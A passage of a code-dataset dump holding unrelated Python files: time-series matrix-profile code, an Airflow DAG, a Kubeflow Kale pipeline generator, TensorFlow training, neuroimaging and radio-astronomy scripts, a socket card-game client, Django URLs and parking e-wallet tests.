t):\n n = t.size\n m = q.size\n\n # Append t with n zeros\n ta = np.append(t, np.zeros(n))\n\n # Reverse Q\n qr = np.flip(q, 0)\n\n # Append qra\n qra = np.append(qr, np.zeros(2 * n - m))\n\n # Compute FFTs\n qraf = np.fft.fft(qra)\n taf = np.fft.fft(ta)\n\n # Compute the inverse FFT to the element-wise multiplication of qraf and taf\n qt = np.fft.ifft(np.multiply(qraf, taf))\n return qt[m:n]\n\n\ndef calculateDistanceProfile(q, t, qt, a, sum_q, sum_q2, mean_t, sigma_t):\n n = t.size\n m = q.size\n\n b = np.zeros(n - m)\n dist = np.zeros(n - m)\n for i in range(0, n - m):\n b[i] = -2 * (qt[i].real - sum_q * mean_t[i]) / sigma_t[i]\n dist[i] = a[i] + b[i] + sum_q2\n return np.sqrt(np.abs(dist))\n\n\n# The code below takes O(m) for each subsequence\n# you should replace it for MASS\ndef computeMeanStdForQuery(Q):\n # Compute Q stats -- O(n)\n sumQ = np.sum(Q)\n sumQ2 = np.sum(np.power(Q, 2))\n return sumQ, sumQ2\n\n\ndef preComputeMeanStdForTS(ta, m):\n na = len(ta)\n sum_t = np.zeros(na - m)\n sum_t2 = np.zeros(na - m)\n\n # Compute the stats for t\n cumulative_sum_t = np.cumsum(ta)\n cumulative_sum_t2 = np.cumsum(np.power(ta, 2))\n for i in range(na - m):\n sum_t[i] = cumulative_sum_t[i + m] - cumulative_sum_t[i]\n sum_t2[i] = cumulative_sum_t2[i + m] - cumulative_sum_t2[i]\n mean_t = np.divide(sum_t, m)\n mean_t2 = np.divide(sum_t2, m)\n mean_t_p2 = np.power(mean_t, 2)\n sigma_t2 = np.subtract(mean_t2, mean_t_p2)\n sigma_t = np.sqrt(sigma_t2)\n return sum_t, sum_t2, mean_t, mean_t2, mean_t_p2, sigma_t, sigma_t2\n\n\n# MUEEN’S ALGORITHM FOR SIMILARITY SEARCH (MASS)\ndef mass(Q, T, a, meanT, sigmaT):\n # Z-Normalisation\n if np.std(Q) != 0:\n Q = (Q - np.mean(Q)) / np.std(Q)\n QT = slidingDotProduct(Q, T)\n sumQ, sumQ2 = computeMeanStdForQuery(Q)\n return calculateDistanceProfile(Q, T, QT, a, sumQ, sumQ2, meanT, sigmaT)\n\n\ndef elementWiseMin(Pab, Iab, D, idx, ignore_trivial, m):\n for i in range(0, len(D)):\n if not ignore_trivial or (np.abs(idx - i) > m):\n if D[i] < Pab[i]:\n Pab[i] = D[i]\n Iab[i] = idx\n return Pab, Iab\n\n\ndef stamp(Ta, Tb, m):\n nb = len(Tb)\n na = len(Ta)\n Pab = np.full(nb - m, float('Inf'))\n Iab = np.full(nb - m, 0)\n idxes = range(0, nb - m)\n\n sumT, sumT2, meanT, meanT_2, meanTP2, sigmaT, sigmaT2 = preComputeMeanStdForTS(Ta, m)\n\n a = np.zeros(na - m)\n for i in range(0, na - m):\n a[i] = (sumT2[i] - 2 * sumT[i] * meanT[i] + m * meanTP2[i]) / sigmaT2[i]\n\n for idx in idxes:\n D = mass(Tb[idx: idx + m], Ta, a, meanT, sigmaT)\n Pab, Iab = elementWiseMin(Pab, Iab, D, idx, ignore_trivial=(Ta == Tb).all(), m=m)\n\n return Pab, Iab\n\n\n# Quick Test\ndef test_stamp(Ta, Tb, m):\n start_time = time.time()\n\n Pab, Iab = stamp(Ta, Tb, m)\n print(\"--- %s seconds ---\" % (time.time() - start_time))\n\n plot_graphics(Ta, Tb, Pab, Iab, m)\n return Pab\n\n\ndef plot_graphics(Ta, Tb, values, indexes, m):\n fig_width = 16\n fig_height = 8\n fig_dpi = 100\n plt.figure(figsize=(fig_width, fig_height), dpi=fig_dpi)\n\n plt.subplot(411)\n plt.plot(Ta)\n plt.xlim((0, len(Ta)))\n plt.title('A')\n\n plt.subplot(412)\n plt.plot(Tb)\n plt.plot(range(np.argmax(values), np.argmax(values) + m), Tb[np.argmax(values):np.argmax(values) + m], c='r')\n plt.title('B')\n plt.xlim((0, len(Tb)))\n\n plt.subplot(413)\n plt.title('P_ab')\n plt.plot(range(0, len(values)), values, '#ff5722')\n plt.plot(np.argmax(values), np.max(values), marker='x', ms=10)\n plt.xlim((0, len(Ta)))\n plt.xlabel('Index')\n plt.ylabel('Value')\n\n plt.subplot(414)\n plt.title('I_ab')\n plt.plot(range(0, len(indexes)), indexes, '#ff5722')\n plt.xlabel('Index')\n plt.ylabel('Value')\n plt.xlim((0, len(Ta)))\n plt.show()\n\n\n\n","sub_path":"owlpy/core.py","file_name":"core.py","file_ext":"py","file_size_in_byte":4486,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"100809652","text":"from airflow import DAG\nfrom airflow.operators.bash_operator import BashOperator\nfrom airflow.operators.python_operator import PythonOperator\nfrom airflow.operators.dummy_operator import DummyOperator\nfrom datetime import datetime, timedelta\n\n\ndefault_args = {\n 'owner': 'Airflow',\n 'depends_on_past': False,\n 'start_date': datetime(2020, 1, 25),\n 'email': ['seth@ragnarok.net'],\n 'email_on_failure': False,\n 'email_on_retry': False,\n 'retries': 1,\n 'retry_delay': timedelta(minutes=5),\n # 'schedule_interval': \"15 08 * * *\",\n # 'schedule_interval': timedelta(minutes=150)\n # 'schedule_interval': \"@daily\"\n # 'queue': 'bash_queue',\n # 'pool': 'backfill',\n # 'priority_weight': 10,\n # 'end_date': datetime(2016, 1, 1),\n}\n\ndef _print_exec_date(**context):\n print(context[\"execution_date\"])\n\n\ndag = DAG('Python-operation', default_args=default_args, schedule_interval=timedelta(days=1))\n\n# t1, t2 and t3 are examples of tasks created by instantiating operators\nt1 = PythonOperator(\n task_id='print_the_exec_date',\n provide_context=True,\n python_callable=_print_exec_date,\n dag=dag,\n\n\n)\n\nt2 = BashOperator(\n task_id='wait_1',\n bash_command='sleep 1',\n retries=3,\n dag=dag)\n\nt3 = BashOperator(\n task_id='wait_5',\n bash_command='sleep 5',\n retries=3,\n dag=dag)\n\nt4 = BashOperator(\n task_id='wait_10',\n bash_command='sleep 10',\n retries=3,\n dag=dag)\n\nt5 = DummyOperator(\n task_id='Done',\n dag=dag)\n\n\nt1 >> [t2, t3, t4] >> t5\n","sub_path":"dags/second.py","file_name":"second.py","file_ext":"py","file_size_in_byte":1520,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"383235022","text":"import os\nimport re\nimport pprint\n\nimport logging\nimport logging.handlers\n\nimport nbformat as nb\nimport networkx as nx\n\nfrom pathlib import Path\n\nfrom kale.nbparser import parser\nfrom kale.static_analysis import dep_analysis\nfrom kale.codegen import generate_code\n\nfrom kale.utils import pod_utils\n\nfrom kubernetes.config import ConfigException\n\n\nKALE_NOTEBOOK_METADATA_KEY = 'kubeflow_noteobok'\nMETADATA_REQUIRED_KEYS = [\n 'experiment_name',\n 'pipeline_name',\n]\n\n\nclass Kale:\n def __init__(self,\n source_notebook_path: str,\n notebook_metadata_overrides: dict = None,\n debug: bool = False\n ):\n self.source_path = Path(source_notebook_path)\n if not self.source_path.exists():\n raise ValueError(f\"Path {self.source_path} does not exist\")\n\n # read notebook\n self.notebook = nb.read(self.source_path.__str__(), as_version=nb.NO_CONVERT)\n\n # read Kale notebook metadata. In case it is not specified get an empty dict\n self.pipeline_metadata = self.notebook.metadata.get(KALE_NOTEBOOK_METADATA_KEY, dict())\n # override notebook metadata with provided arguments\n if notebook_metadata_overrides:\n self.pipeline_metadata = {**self.pipeline_metadata,\n **{k: v for k, v in notebook_metadata_overrides.items() if v}}\n\n self.validate_metadata()\n self.detect_environment()\n\n # setup logging\n self.logger = logging.getLogger(\"kubeflow-kale\")\n formatter = logging.Formatter('%(asctime)s | %(name)s | %(levelname)s: %(message)s', datefmt='%m-%d %H:%M')\n self.logger.setLevel(logging.DEBUG)\n\n stream_handler = logging.StreamHandler()\n if debug:\n stream_handler.setLevel(logging.DEBUG)\n else:\n stream_handler.setLevel(logging.INFO)\n stream_handler.setFormatter(formatter)\n\n self.log_dir_path = Path(\".\")\n file_handler = logging.FileHandler(filename=self.log_dir_path / 'kale.log', mode='a')\n file_handler.setFormatter(formatter)\n file_handler.setLevel(logging.DEBUG)\n\n self.logger.addHandler(file_handler)\n self.logger.addHandler(stream_handler)\n\n # mute other loggers\n logging.getLogger('urllib3.connectionpool').setLevel(logging.CRITICAL)\n\n def validate_metadata(self):\n kale_block_name_regex = r'^[a-z0-9]([-a-z0-9]*[a-z0-9])?$'\n kale_name_msg = \"must consist of lower case alphanumeric characters or '-', \" \\\n \"and must start and end with an alphanumeric character.\"\n k8s_valid_name_regex = r'^[\\.\\-a-z0-9]+$'\n k8s_name_msg = \"must consist of lower case alphanumeric characters, '-' or '.'\"\n\n # check for required fields\n for required in METADATA_REQUIRED_KEYS:\n if required not in self.pipeline_metadata:\n raise ValueError(\n \"Key %s not found. Add this field either on the notebook metadata or as an override\" % required)\n\n if not re.match(kale_block_name_regex, self.pipeline_metadata['pipeline_name']):\n raise ValueError(\"Pipeline name %s\" % kale_name_msg)\n\n volumes = self.pipeline_metadata.get('volumes', [])\n if volumes or isinstance(volumes, list):\n for v in volumes:\n if 'name' not in v:\n raise ValueError(\"Provide a valid name for every volume\")\n if not re.match(k8s_valid_name_regex, v['name']):\n raise ValueError(f\"PV/PVC resource name {k8s_name_msg}\")\n if 'snapshot' in v and v['snapshot'] and \\\n (('snapshot_name' not in v) or not re.match(k8s_valid_name_regex, v['snapshot_name'])):\n raise ValueError(\n \"Provide a valid snapshot resource name if you want to snapshot a volume. \"\n \"Snapshot resource name %s\" % k8s_name_msg)\n else:\n raise ValueError(\"Volumes must be a valid list of volumes spec\")\n\n def detect_environment(self):\n \"\"\"\n Detect local configs to preserve reproducibility of\n dev env in pipeline steps\n \"\"\"\n # used to set container step working dir same as current environment\n self.pipeline_metadata['abs_working_dir'] = os.path.dirname(os.path.abspath(self.source_path))\n\n # When running inside a Kubeflow Notebook Server we can detect the running\n # docker image and use it as default in the pipeline steps.\n if not self.pipeline_metadata['docker_image']:\n try:\n # will fail in case in cluster config is not found\n self.pipeline_metadata['docker_image'] = pod_utils.get_docker_base_image()\n except ConfigException:\n # no K8s config found\n # use kfp default image\n pass\n except Exception:\n # some other exception\n raise\n\n def notebook_to_graph(self):\n # convert notebook to nx graph\n pipeline_graph, pipeline_parameters_code_block = parser.parse_notebook(self.notebook)\n\n pipeline_parameters_dict = dep_analysis.pipeline_parameters_detection(pipeline_parameters_code_block)\n\n # run static analysis over the source code\n dep_analysis.variables_dependencies_detection(pipeline_graph,\n ignore_symbols=set(pipeline_parameters_dict.keys()))\n\n # TODO: Additional Step required:\n # Run a static analysis over every step to check that pipeline\n # parameters are not assigned with new values.\n return pipeline_graph, pipeline_parameters_dict\n\n def generate_kfp_executable(self, pipeline_graph, pipeline_parameters):\n self.logger.debug(\"------------- Kale Start Run -------------\")\n\n # generate full kfp pipeline definition\n kfp_code = generate_code.gen_kfp_code(nb_graph=pipeline_graph,\n pipeline_parameters=pipeline_parameters,\n metadata=self.pipeline_metadata)\n\n output_path = os.path.join(os.path.dirname(self.source_path),\n f\"{self.pipeline_metadata['pipeline_name']}.kale.py\")\n # save kfp generated code\n self.save_pipeline(kfp_code, output_path)\n return output_path\n\n def print_pipeline(self, pipeline_graph):\n \"\"\"\n Prints a complete definition of the pipeline with all the tags\n \"\"\"\n for block_name in nx.topological_sort(pipeline_graph):\n block_data = pipeline_graph.nodes(data=True)[block_name]\n\n print(f\"Block: {block_name}\")\n print(\"Previous Blocks:\")\n if 'previous_blocks' in block_data['tags']:\n pprint.pprint(block_data['tags']['previous_blocks'], width=1)\n print(\"Ins\")\n if 'ins' in block_data:\n pprint.pprint(sorted(block_data['ins']), width=1)\n print(\"Outs\")\n if 'outs' in block_data:\n pprint.pprint(sorted(block_data['outs']), width=1)\n print()\n print(\"-------------------------------\")\n print()\n\n def save_pipeline(self, pipeline_code, output_path):\n # save pipeline code to temp directory\n # tmp_dir = tempfile.mkdtemp()\n # with open(tmp_dir + f\"/{filename}\", \"w\") as f:\n # f.write(pipeline_code)\n # print(f\"Pipeline code saved at {tmp_dir}/{filename}\")\n\n # Save pipeline code in the notebook source directory\n with open(output_path, \"w\") as f:\n f.write(pipeline_code)\n self.logger.info(f\"Pipeline code saved at {output_path}\")\n","sub_path":"kale/core.py","file_name":"core.py","file_ext":"py","file_size_in_byte":7807,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"264489888","text":"import os\nimport numpy as np\nimport tensorflow as tf\nimport input1\nimport modle1\n\n\nN_CLASSES = 2\nIMG_H = 28\nIMG_W = 28\nBATCH_SIZE = 30\nCAPACITY = 2000\nMAX_STEP = 1500\nlearning_rate = 0.00008\n\ndef training():\n train_dir_path = \"E:/test/eyecld/0/0.1/\"\n logs_train_dir_path = \"E:/test/eyelid/data/logs/\"\n\n train,train_label = input1.getFile(train_dir_path)\n train_batch,train_label_batch = input1.getBatch(train,\n train_label,\n IMG_W,\n IMG_H,\n BATCH_SIZE,\n CAPACITY\n )\n train_logits = modle1.inference(train_batch,BATCH_SIZE,N_CLASSES)\n train_loss = modle1.losses(train_logits,train_label_batch)\n train_op = modle1.train(train_loss,learning_rate)\n train_acc = modle1.evalution(train_logits,train_label_batch)\n\n summary_op = tf.summary.merge_all()\n sess = tf.Session()\n train_writer = tf.summary.FileWriter(logs_train_dir_path,sess.graph)\n saver = tf.train.Saver()\n\n sess.run(tf.global_variables_initializer())\n coord = tf.train.Coordinator()\n threads = tf.train.start_queue_runners(sess=sess,coord=coord)\n\n try:\n for step in np.arange(MAX_STEP):\n if coord.should_stop():\n break\n _,tra_loss,tra_cc = sess.run([train_op,train_loss,train_acc])\n if step %100 == 0:\n print(\"step %d ,train loss = %.2f ,train acy = %.2f\" % (step,tra_loss,tra_cc))\n summary_str = sess.run(summary_op)\n train_writer.add_summary(summary_str,step)\n if step % 2000 == 0 or (step + 1) == MAX_STEP:\n checkpoint_path = os.path.join(logs_train_dir_path,\"model.ckpt\")\n saver.save(sess,checkpoint_path,global_step=step)\n except tf.errors.OutOfRangeError:\n print(\"Done--limit reached.\")\n finally:\n coord.request_stop()\n\n coord.join(threads)\n sess.close()\n\ntraining()","sub_path":"venv/train2.py","file_name":"train2.py","file_ext":"py","file_size_in_byte":2077,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"131471234","text":"from pathlib import Path\nfrom bianca.workflows.bianca import run_bianca\nimport pandas as pd\nimport numpy as np\nfrom shutil import copyfile\n\ntraining_data_dir = Path(\"/home/fliem/lhab_collaboration/WMH/BIANCA/training_data\")\nbase_dir = Path(\"/home/fliem/lhab_collaboration/WMH/BIANCA/full_sample\")\n\nname = \"bianca\"\nn_cpu = 32\n\n####\n# 3D\nacq = \"3D\"\n\nbianca_dir = base_dir / acq / name\nwd_dir = Path(\"/tmp/fl\") / \"_wd\" / acq / name\ncrash_dir = Path(\"/tmp/fl\") / \"_crash\" / acq / name\nclf_dir = bianca_dir / \"clf\"\nclf_dir.mkdir(exist_ok=True)\n\ndf = pd.read_csv(bianca_dir / \"masterfile_wHeader.txt\", sep=\" \")\ntest_subs = (df.manual_mask == \"XXX\")\ntraining_subs = ~test_subs\ntraining_subs_idx = np.where(training_subs)[0]\ntest_subs_idx = np.where(test_subs)[0]\n\nquery_sub_idx = test_subs_idx[:1]\nrun_bianca(bianca_dir, wd_dir, crash_dir, n_cpu=n_cpu, save_classifier=True, training_subject_idx=training_subs_idx,\n query_subject_idx=query_sub_idx)\n\ndd = df.iloc[query_sub_idx[0]]\nin_dir = bianca_dir / f\"sub-{dd.subject}\" / f\"ses-{dd.session}\" / \"anat\"\nin_files = list(in_dir.glob(\"sub*\"))\nfor f in in_files:\n o_name = clf_dir / (f.name.replace(f\"sub-{dd.subject}_ses-{dd.session}_\", \"\"))\n copyfile(f, o_name)\n","sub_path":"runscripts/full_sample/s16_run_bianca_3d_1_train_clf.py","file_name":"s16_run_bianca_3d_1_train_clf.py","file_ext":"py","file_size_in_byte":1220,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"564958314","text":"from tasks import *\nfrom taskinit import *\nimport casac\n\nimport sys\nfrom optparse import OptionParser\n\nusage = \"usage: %prog options\"\nparser = OptionParser(usage=usage);\n\n# O1 for Option\n\nparser.add_option(\"--ra\", type='string', dest='ra', default='10h00m00.0s', \n\t\thelp=\"Right Ascension of Target [10h00m00.0s]\")\n\nparser.add_option(\"--dec\", type='string', dest='dec', default='-30d00m00.0s', \n\t\thelp=\"Declination of Target [-30d00m00.0s]\")\n\nparser.add_option(\"-f\", type='string', dest='f', default=\"Point\", \n\t\thelp = \"Name for output files [Point]\")\n\n(options, args) = parser.parse_args();\n\ndirection = \"J2000 \"+options.ra+\" \"+options.dec;\n\ncl.done()\ncl.addcomponent(dir=direction, flux=1.0, fluxunit='Jy', freq='1.420GHz',\n\t\tshape=\"point\")\n\nia.fromshape(options.f+\".im\",[256,256,1,1],overwrite=True)\ncs=ia.coordsys()\ncs.setunits(['rad','rad','','Hz'])\ncell_rad=qa.convert(qa.quantity(\"2arcsec\"),\"rad\")['value']\ncs.setincrement([-cell_rad,cell_rad],'direction')\ncs.setreferencevalue([qa.convert(options.ra,'rad')['value'],qa.convert(options.dec,'rad')['value']],type=\"direction\")\ncs.setreferencevalue(\"1.420GHz\",'spectral')\ncs.setincrement('1GHz','spectral')\nia.setcoordsys(cs.torecord())\nia.setbrightnessunit(\"Jy/pixel\")\nia.modify(cl.torecord(),subtract=False)\nexportfits(imagename=options.f+'.im',fitsimage=options.f+'.fits',overwrite=True)\n","sub_path":"make-point-source.py","file_name":"make-point-source.py","file_ext":"py","file_size_in_byte":1344,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"536154167","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Apr 24 16:00:48 2019\n\n@author: william\n\"\"\"\n# import part\nimport numpy as np\n\nimport matplotlib.pyplot as plt\n\n# loading data\nX_train = np.loadtxt(\"1209_mask_test_1000.txt\")\ny_train = np.loadtxt(\"1209_spec_test_1000.txt\")\n\nX_train2 = np.loadtxt(\"clean_spec_test_1000.txt\")\ny_train2 = np.loadtxt(\"clean_mask_test_1000.txt\")\n\ny_mask = y_train2.reshape(1000,2470)\nplt.imshow(abs(y_mask[:, : int(512 / 2 + 1)].T), aspect = \"auto\", cmap=plt.cm.afmhot, origin = \"lower\")\nplt.title(\"Lable_Mask\", fontsize = 20)\nplt.show()","sub_path":"IP meeting preparation/25April_IPmeeting/0424watch.py","file_name":"0424watch.py","file_ext":"py","file_size_in_byte":579,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"605064546","text":"import socket\nimport sys\nimport os\n\n\ndef main():\n # Definição do IP e porta de conexão\n if len(sys.argv) == 1:\n server = 'localhost'\n port = 3002\n\n elif len(sys.argv) == 3:\n server = sys.argv[1]\n port = int(sys.argv[2])\n\n else:\n print(\"Uso do programa: python3 cliente.py \")\n print(\"Valores padrão: 'localhost:3000'\")\n exit(1)\n\n # Criação do socket\n tcp = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n print(\"Conectando a {}:{}\".format(server, port))\n\n # Requisição\n tcp.connect((server, port))\n play(tcp)\n\n\ndef play(tcp):\n # Recebe mensagem de Boas vindas\n print(tcp.recv(1024).decode())\n\n # Envia o nome do jogador\n tcp.send(input(\"\").encode())\n\n while(True):\n while(True):\n # Recebe Mesa ou [Vez do computador]\n message = tcp.recv(1024).decode('utf-8')\n if message.startswith(\"[Vez do computador]\"): break\n\n # Envia \"Mesa recebida\" e imprime o mapa\n tcp.send(\"Mesa recebida\".encode())\n os.system('cls' if os.name == 'nt' else 'clear')\n print(message)\n\n # Recebe 'Quer comprar carta' ou [Vez do computador]\n message = tcp.recv(1024).decode('utf-8')\n if message.startswith(\"[Vez do computador]\"): break\n print(message)\n\n # Envia resposta (Quer ou não comprar carta)\n tcp.send(input(\"\").encode())\n\n # Envia \"[Vez do computador]\"\n tcp.send(\"[Vez do computador]\".encode())\n\n while(True):\n # Recebe Mesa ou 'Você Ganhou/Perdeu'\n message = tcp.recv(1024).decode()\n if message.startswith(\"Você\"): break\n os.system('cls' if os.name == 'nt' else 'clear')\n print(message)\n\n # Envia um OK\n tcp.send(\"Mensagem recebida\".encode())\n\n # Envia a resposta\n print(message)\n resposta = input(\"\")\n tcp.send(resposta.encode())\n if resposta is \"n\": break\n tcp.close()\n\n\nmain()\n","sub_path":"client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":2071,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"440739235","text":"\"\"\"\n Summation\n Write a program that finds the summation of every number from 1 to num. The number will always be a positive integer greater than 0.\n\n For example:\n\n summation(2) -> 3\n 1 + 2\n\n summation(8) -> 36\n 1 + 2 + 3 + 4 + 5 + 6 + 7 + 8\n\n I think best solution:\n def summation(num):\n return sum(range(1,num+1))\n\n https://www.codewars.com/kata/55d24f55d7dd296eb9000030\n\"\"\"\ndef summation(num):\n number = 0\n for i in range(0, num+1):\n print(i)\n number +=i\n print(number)\n return number\nif __name__ == '__main__':\n input = 100\n summation(input)","sub_path":"8 kyu/Grasshopper - Summation.py","file_name":"Grasshopper - Summation.py","file_ext":"py","file_size_in_byte":623,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"225676914","text":"from django.conf.urls import patterns, url\nfrom masterdata import views as v\n\n\nurlpatterns = patterns(\n '',\n url(r'^(?P(:?country|state))/list/$', v.List.as_view(), name='list'),\n url(r'^(?P(:?country|state))/create/$', v.Create.as_view(), name='create'),\n url(r'^(?P(:?country|state))/update/(?P\\d+)/$', v.Update.as_view(), name='update'),\n url(r'^(?P(:?country|state))/delete/(?P\\d+)/$', v.Delete.as_view(), name='update'),\n url(r'^(?P(:?country|state))/status/(?P\\d+)/$', v.Status.as_view(), name='update'),\n)\n","sub_path":"masterdata/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":578,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"7951692","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\nPack up the .sdr files and make shaderSrc.h\n\n[insert] if the .sdr source code isn't in shaderSrc.h\n[update] if the code has been in shaderSrc.h\nAnd will not change the rest of shaderSrc.h\n\nArgs:\n [1,2,3...] file path\n\nby MoebiusMeow\n\"\"\"\n\nimport sys\nimport os\nfrom functools import *\n\nfor argi in range(1,len(sys.argv)):\n fn_bas = os.path.basename(sys.argv[argi])\n fn_dir = os.path.dirname(sys.argv[argi])\n print(' packing',fn_bas)\n fsrc = open(os.path.join(fn_dir,'./',fn_bas),'r')\n ftar = open(os.path.join(fn_dir,'./')+'shaderSrc.h.tmp','r')\n ctar = ftar.read().split('\\n')\n ftar.close()\n\n csrc = list(map(lambda s:'\"'+s+'\\\\n\"',fsrc.read().split('\\n')))\n while len(csrc)>0 and csrc[-1]=='\"\\\\n\"':\n csrc.pop()\n sres = '\\t// <'+fn_bas+'>\\n'\n sres += '\\tlis[string(\"'+fn_bas+'\")] = string\\n\\t(\\n\\t\\t'\n sres += '\\n\\t\\t'.join(csrc)\n sres += '\\n\\t);\\n'\n\n def findnx(pos,str):\n while pos')\n if pos==-1:\n pos = findnx(0,'\\t// ')+1\n res_f = '\\n'.join(ctar[:pos])+'\\n'\n res_b = '\\n'.join(ctar[pos:])\n else:\n res_f = '\\n'.join(ctar[:pos])+'\\n'\n pos = findnx(pos+1,'\\t// <')\n res_b = '\\n'.join(ctar[pos:])\n\n res = res_f+sres+res_b\n\n ftar = open(os.path.join(fn_dir,'./')+'shaderSrc.h.tmp','w')\n ftar.write(res)\n ftar.close()\n fsrc.close()\n","sub_path":"proj1/shaders/pack.py","file_name":"pack.py","file_ext":"py","file_size_in_byte":1564,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"403759793","text":"from django.conf.urls import patterns, url, include\n#============APP COMPRAOVEJA==========================\nfrom .views import *\nurlpatterns = patterns('',\n #===============================================\n #CLIENTES\n url(r'^articulo/add/$',ArticuloCreateView.as_view(),name='articulo_add'),\n url(r'^articulo/upd/(?P\\d+)/$',ArticuloUpdateView.as_view(),name='articulo_upd'),\n url(r'^articulo/lis/$', ArticulolistView.as_view(),name='articulo_lis'),\n url(r'^articulo/del/(?P\\d+)$', ArticuloDeleteView.as_view(), name='articulo_del'), \n #===============================================\n #VENTAS \n url(r'^venta/add/$','ventas.views.venta_add'),\n url(r'^venta/upd/(?P\\d+)/$','ventas.views.venta_upd'),\n url(r'^venta/lis/$', VentaArticulolistView.as_view(),name='venta_lis'),\n url(r'^venta/del/(?P\\d+)$', VentaArticuloDeleteView.as_view(), name='venta_del'),\n url(r'^venta/det/(?P\\d+)/$', VentaArticuloDetailView.as_view(), name='venta_det'),\n) ","sub_path":"ventas/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1005,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"117312831","text":"# -*- coding: utf-8 -*-\n\nfrom django.test import TestCase\n\nfrom decimal import Decimal\nfrom datetime import (\n datetime,\n timedelta,\n)\nfrom estacionamientos.controller import (\n pago_autenticar, \n billetera_autenticar\n, asigna_id_unico, buscar_historial_billetera)\n\nfrom estacionamientos.models import (\n Reserva,\n Pago,\n BilleteraElectronica,\n Recargas,\n Cancelaciones,\n Propietario,\n Estacionamiento)\nfrom idlelib.IdleHistory import History\n\ndef crear_propietario():\n p = Propietario(\n nombres = \"Daniel\",\n apellidos = \"Añes\",\n cedula = \"10\"\n )\n p.save()\n return p\n \ndef crear_estacionamiento(_propietario):\n e = Estacionamiento(\n nombre = \"Estacionamiento1\",\n direccion = \"Calle Aqui\",\n rif = \"J-123456789\",\n propietario = _propietario \n )\n e.save()\n return e\n \ndef crear_reserva(h_inicio, h_fin, _estacionamiento):\n r = Reserva(\n estacionamiento = _estacionamiento,\n inicioReserva = h_inicio,\n finalReserva = h_fin \n )\n r.save()\n return r\n \ndef crear_billetera(monto = 0):\n r = BilleteraElectronica(\n nombre = \"Daniel\",\n apellido = \"Nuñez\",\n cedula = \"10\",\n cedulaTipo = \"V\",\n PIN = \"1234\",\n saldo = monto \n )\n r.save()\n \ndef crear_factura(_reserva, monto):\n pago = Pago(\n reserva = _reserva,\n id = asigna_id_unico(),\n fechaTransaccion = datetime.now(),\n cedula = \"10\",\n cedulaTipo = \"V\",\n tarjetaTipo = \"Billetera Electronica\",\n nombreUsuario = 'Maria',\n apellidoUsuario = 'Perez',\n idBilletera = '1',\n monto = Decimal(monto)\n )\n pago.save()\n \ndef crear_pago(h_inicio, h_fin, monto, p):\n e = crear_estacionamiento(p)\n r = crear_reserva(h_inicio, h_fin, e)\n crear_factura(r, monto)\n\n\ndef cancelar_reservacion(id_pago, id_billetera, tiempo = datetime.now() + timedelta(seconds = 60)):\n try:\n pago = Pago.objects.get(pk = id_pago)\n _billetera = BilleteraElectronica.objects.get(pk = id_billetera)\n if ((pago.validar_cancelacion(tiempo)) and \n (_billetera.validar_recarga(pago.monto))):\n c = Cancelaciones(\n pagoCancelado = pago,\n billetera = _billetera,\n id = asigna_id_unico(),\n monto = pago.monto,\n fechaTransaccion = datetime.now() \n )\n pago.cancelar_reserva()\n _billetera.recargar_saldo(pago.monto)\n c.save()\n except:\n pass\n \ndef crear_recarga(billetera, numTarjeta, monto):\n billetera = BilleteraElectronica.objects.get(pk = billetera)\n recarga = Recargas(\n id = asigna_id_unico(),\n fechaTransaccion = datetime.now(),\n cedulaTipo = 'V',\n cedula = '12345678',\n tarjetaTipo = 'Vista',\n monto = monto,\n billetera = billetera,\n numTarjeta = numTarjeta\n ) \n recarga.save()\n \nclass TestHistorialBilletera(TestCase):\n \n #interior\n def testHistorialBilletera(self):\n crear_billetera(0)\n historial = buscar_historial_billetera(1)\n self.assertEqual(historial, [])\n \n # interior\n def testHistorialRecarga(self):\n crear_billetera(0)\n crear_recarga(1, '1234567812345678', 5000)\n historial = buscar_historial_billetera(1)\n recarga = Recargas.objects.get(pk = 1)\n self.assertTrue(len(historial) == 1 and historial[0] == recarga)\n \n # interior \n def testHistorialDosBilleteras(self):\n crear_billetera(0) \n crear_billetera(0)\n crear_recarga(1, '1234567812345678', 5000)\n crear_recarga(2, '1234567812345678', 2000)\n historial = buscar_historial_billetera(1)\n recarga1 = Recargas.objects.get(pk = 1)\n self.assertTrue(len(historial) == 1 and historial[0] == recarga1)\n \n def testHistorialPagoCancelacionRecarga(self):\n crear_billetera(0)\n crear_recarga(1, '1234567812345678', 1000)\n recarga = Recargas.objects.get(pk = 1)\n inicio = datetime.now() + timedelta(days = 1)\n fin = datetime.now() + timedelta(days = 1, hours = 1)\n p = crear_propietario()\n crear_pago(inicio, fin, 10, p)\n pago1 = Pago.objects.get(pk = 2)\n inicio1 = datetime.now() + timedelta(days = 2)\n fin1 = datetime.now() + timedelta(days = 2, hours = 2)\n crear_pago(inicio1, fin1, 30, p)\n pago2 = Pago.objects.get(pk = 3)\n cancelar_reservacion(2, 1)\n cancelacion = Cancelaciones.objects.get(pk = 4)\n historial = buscar_historial_billetera(1)\n self.assertTrue(len(historial) == 4 and historial[0] == recarga and \n historial[1] == pago1 and historial[2] == pago2 and\n historial[3] == 